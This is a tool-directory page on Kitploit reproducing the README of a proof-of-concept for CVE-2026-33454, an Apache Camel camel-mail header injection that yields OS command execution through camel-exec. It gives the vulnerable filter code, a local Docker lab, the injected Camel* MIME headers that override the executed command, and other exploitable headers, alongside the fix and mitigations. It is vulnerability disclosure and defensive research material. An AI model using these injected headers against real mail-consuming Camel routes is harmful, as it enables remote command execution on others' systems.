Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33454 — Reproducer for CVE-2026-33454: Apache Camel camel-mail header injection to RCE via camel-exec | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-33454
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHuboscerd/cve-2026-33454

CVE-2026-33454

Reproducer for CVE-2026-33454: Apache Camel camel-mail header injection to RCE via camel-exec

View Repository
1112 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-mail Header Injection → RCE Vulnerability Reproducer (CVE-2026-33454)

This project demonstrates a Camel message header injection vulnerability in Apache Camel's camel-mail component, tracked as CVE-2026-33454. An attacker who can deliver an email to a mailbox monitored by a Camel mail consumer can inject Camel* control headers into the Exchange, achieving remote code execution when the route forwards to a header-sensitive producer such as camel-exec.

Advisory: https://camel.apache.org/security/CVE-2026-33454.html

Vulnerability Summary

PropertyValue
Componentcamel-mail
Affected Classorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
Root causeThe filter strategy configures only the OUT direction (setOutFilterStartsWith) and NOT the IN direction, so inbound MIME headers are not filtered
CWECWE-20: Improper Input Validation (Camel message header injection)
ImpactRemote Code Execution (via header-sensitive producers, e.g. camel-exec)
Affected VersionsFrom 3.0.0 before 4.14.6, and from 4.15.0 before 4.18.1
Fixed Versions4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
ReporterHyunwoo Kim (@v4bel)

Technical Details

MailHeaderFilterStrategy extends DefaultHeaderFilterStrategy. In affected versions its constructor configures only the out filter and never sets the in filter:

root@kitploit:~
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

When Camel consumes mail (e.g. from("imap://...") or from("pop3://...")), MailBinding.extractHeadersFromMail() copies every MIME header into the Exchange In headers, gated by headerFilterStrategy.applyFilterToExternalHeaders(...). Because the in filter was never configured, Camel*-prefixed MIME headers pass straight through:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

An attacker who can email the monitored mailbox can therefore set arbitrary Camel* control headers. When the route forwards to a header-sensitive producer such as camel-exec, the CamelExecCommandExecutable / CamelExecCommandArgs headers override the command (honoured by default in the affected versions) → arbitrary OS command execution.

The victim route

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

Prerequisites

  • Java 17+
  • Maven 3.8+
  • Docker (runs the mail server)

Reproduction Steps

Step 1: Start the mail server (Docker)

A GreenMail container provides SMTP (3025) and IMAP (3143) with a single mailbox (login victim, password secret, address victim@localhost):

root@kitploit:~
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

Step 2: Build and Start the Application

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Starts the IMAP victim route and a helper REST controller on 8080.

Step 3: Benign Email (sanity check)

root@kitploit:~
curl http://localhost:8080/exploit/normal

The consumer picks it up and runs echo hello.

Step 4: Attack — deliver an email with injected Camel* MIME headers

root@kitploit:~
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

This delivers an email whose MIME headers include:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

Step 5: Verify

root@kitploit:~
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

If /tmp/pwned exists, the injected MIME header overrode the exec command → RCE.

Cleanup

root@kitploit:~
docker compose down    # or: docker rm -f greenmail-cve

Attack Vectors

The injection only needs a header-sensitive producer downstream. The advisory notes camel-bean, camel-exec and camel-sql; more broadly:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → OS command execution
  • camel-file — CamelFileName → arbitrary file write / path traversal
  • camel-bean — CamelBeanMethodName → invoke a different method
  • camel-sql — query-control headers

Exploit Conditions

  1. A Camel route consuming mail (imap://, imaps://, pop3://, ...).
  2. The route forwards to (or is influenced by) a header-sensitive producer.
  3. No removeHeaders("Camel*") between the mail consumer and that producer.

The attacker only needs to be able to send an email to the monitored mailbox.

Recommended Fix

The fix (CAMEL-23222) configures the inbound filter as well:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

Mitigation

Until upgrading:

  1. Strip Camel headers from mail-sourced messages: .removeHeaders("Camel*") right after the from("imap:...").
  2. Avoid header-sensitive producers downstream of untrusted mail, or pin their configuration.
  3. Restrict who can deliver to the monitored mailbox.

Files

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

Download Tool